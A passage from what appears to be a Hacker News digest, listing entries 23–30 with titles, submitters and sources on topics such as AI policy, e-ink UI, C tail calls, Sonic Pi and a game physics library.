  23. Letter to Governor Abbott on responsible AI infrastructure in Texas by hackerBanana — openai.com·HN discussion ↗
  24. Ask HN: In your experience, what are sound conventions for e-ink UI development? by BoxOfRain — news.ycombinator.com·HN discussion ↗
  25. Mars Bar from 1991 found – and it's 20g bigger than today's by RickJWagner — bbc.com·HN discussion ↗
  26. Mark Zuckerberg attacks 'closed' AI rivals as Meta returns to open models by root-parent — ft.com·HN discussion ↗
  27. Magnitude 7.4 Earthquake – 5 km S of San José del Palmar, Colombia by Bender — earthquake.usgs.gov·HN discussion ↗
  28. Tail-call optimization in C is relatively recent (2025) by prakashqwerty — lwn.net·HN discussion ↗
  29. Sonic Pi v5 by samaaron — patreon.com·HN discussion ↗
  30. Picophysics: Single file physics for games on platforms like N64, PSX, DC by klaussilveira — gitlab.com·HN discussion ↗

Browse all issues in the archive →